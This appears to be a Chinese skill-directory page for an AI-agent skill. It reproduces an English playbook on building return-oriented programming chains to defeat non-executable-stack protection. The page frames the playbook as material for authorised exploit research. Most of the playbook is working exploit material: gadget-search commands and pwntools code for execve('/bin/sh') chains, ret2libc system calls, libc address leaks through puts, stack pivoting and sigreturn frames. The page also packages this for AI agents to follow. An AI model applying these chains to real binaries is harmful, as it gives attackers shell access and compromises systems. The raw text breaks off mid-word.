rop-chain
它能做什么
它说明当保护机制阻止普通代码注入时,程序中现有的小段代码如何被串联起来。适用于在获授权程序上工作的漏洞利用开发者和研究人员。
适用场景
- ✓当漏洞利用开发者被不可执行栈保护阻挡,需要了解可行方案时。
- ✓当研究人员想列出二进制文件中有用的代码片段以供分析时。
- ✓当测试人员需要检查地址随机化或位置无关代码如何限制既定的利用链时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请告诉我这个程序使用了哪些内存保护,以及这些保护是否限制了可以对它做的事情。”
每周 5 个新技能,1 分钟读完。
工作原理
该技能告诉 AI 检查程序具有哪些保护,在程序中搜索有用的代码片段,并记录这些保护对任何利用链施加的限制。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
ROP Chain Construction Playbook
ROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose
existing code fragments ("gadgets") ending in ret / jmp <reg> to
build arbitrary computation without injecting code. Required when NX/DEP
prevents shellcode execution.
1. Inventory mitigations
Before building the chain, know what protections you face:
checksec --file=/tmp/binary
# Or
pwn checksec /tmp/binary
Output flags:
- NX: stack non-executable → ROP needed
- PIE: position-independent → need leak first
- RELRO (partial/full): GOT writable / read-only
- Canary: stack-cookie → leak/bypass needed
- ASLR: addresses randomized → leak needed for libc/PIE
2. Gadget discovery
# ROPgadget (most common)
ROPgadget --binary /tmp/binary --depth 8 > /tmp/gadgets.txt
# Filter useful ones
grep ': pop rdi ; ret$' /tmp/gadgets.txt # syscall arg1 setup
grep ': pop rsi ; ret$' /tmp/gadgets.txt # syscall arg2 setup
grep ': pop rdx ; ret$' /tmp/gadgets.txt # arg3
grep ': syscall ; ret$' /tmp/gadgets.txt # syscall instruction
grep ': ret$' /tmp/gadgets.txt | head # bare ret (stack alignment)
# Alternative: ropper
ropper --file /tmp/binary --search 'pop rdi'
ropper --file /tmp/binary --search 'syscall'
# Alternative: one_gadget for libc one-shot RCE
one_gadget /lib/x86_64-linux-gnu/libc.so.6
3. Common chain patterns
Direct execve("/bin/sh") via syscall (x86_64)
from pwn import *
# Gadgets from /tmp/binary
POP_RDI = 0x4011a3 # pop rdi ; ret
POP_RSI = 0x4011a1 # pop rsi ; ret
POP_RDX = 0x4011a5 # pop rdx ; ret
POP_RAX = 0x4011a7 # pop rax ; ret
SYSCALL = 0x4011a9 # syscall ; ret
# Target
BIN_SH = 0x404060 # writeable .bss for "/bin/sh\x00"
chain = b''
# write "/bin/sh\0" to BIN_SH
chain += p64(POP_RAX) + p64(0x68732f6e69622f) # /bin/sh in little-endian, no null at end
chain += p64(POP_RDI) + p64(BIN_SH)
# stos or mov [rdi], rax — need gadget
# (this needs more gadgets, see "write-what-where" section below)
# execve(BIN_SH, NULL, NULL)
chain += p64(POP_RAX) + p64(0x3b) # SYS_execve = 59
chain += p64(POP_RDI) + p64(BIN_SH)
chain += p64(POP_RSI) + p64(0)
chain += p64(POP_RDX) + p64(0)
chain += p64(SYSCALL)
Via libc (if libc address leaked)
# Easier — call system("/bin/sh") in libc
libc_base = leaked_libc_addr - libc.symbols.puts # offset from puts to base
chain = b''
chain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'/bin/sh')))
chain += p64(libc_base + libc.symbols['system'])
# Some systems need a ret-aligning gadget for stack alignment before system
chain = p64(RET_GADGET) + chain
one_gadget (if conditions met)
one_gadget finds libc addresses that call execve("/bin/sh") with one
jump, no setup. Constraints (e.g. [rsp+0x70] == NULL) must be met:
one_gadget libc.so.6
# 0x4527a constraints: ...
# 0xf03a4 constraints: ...
Pick the constraint that matches the state at your return point.
4. Write-what-where (when no leak available initially)
If you can't read libc directly:
- Find
puts@pltin the binary - Build a chain that calls
puts(puts_got)— leaks libc'sputsaddress - Compute libc base from that
- Return to
main(or any function that re-runs your chain) and now build the real execve chain
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']
leak_chain = p64(POP_RDI) + p64(puts_got)
leak_chain += p64(puts_plt)
leak_chain += p64(main) # restart so we can re-input
5. Modern bypass techniques
Stack pivoting
When buffer overflow is small, pivot to a controlled larger region:
# Gadgets needed
POP_RBP = 0x... # pop rbp ; ret
LEAVE_RET = 0x... # mov rsp, rbp; pop rbp; ret
# Pivot to attacker-controlled buffer
chain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)
Sigreturn-Oriented Programming (SROP)
Few gadgets available? SROP uses rt_sigreturn syscall to restore full
CPU state from a sigframe on the stack — sets every register at once:
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
chain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)
JOP (Jump-Oriented)
When ret-poisoning is hardened (CET / shadow stack), use jmp gadgets:
ROPgadget --binary /tmp/bin --jop
Pattern: dispatcher gadget calls each functional gadget via register. Harder to construc
常见问题
ROP 是什么意思?
面向返回的编程,即复用以返回指令结尾的现有代码片段来执行操作。
它对防御有什么意义?
了解这些技术有助于开发者判断自己的保护措施是否有效。
它适用于所有程序吗?
不适用。ASLR、PIE 和栈金丝雀等保护机制会限制利用链是否可行。
详情
作者的原始描述
ROP/JOP gadget hunting and exploit-chain construction — for NX/DEP bypass on x86/x64/ARM binaries.
热度
- GitHub 星标
- 6.5k
- 排名
- #14175
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …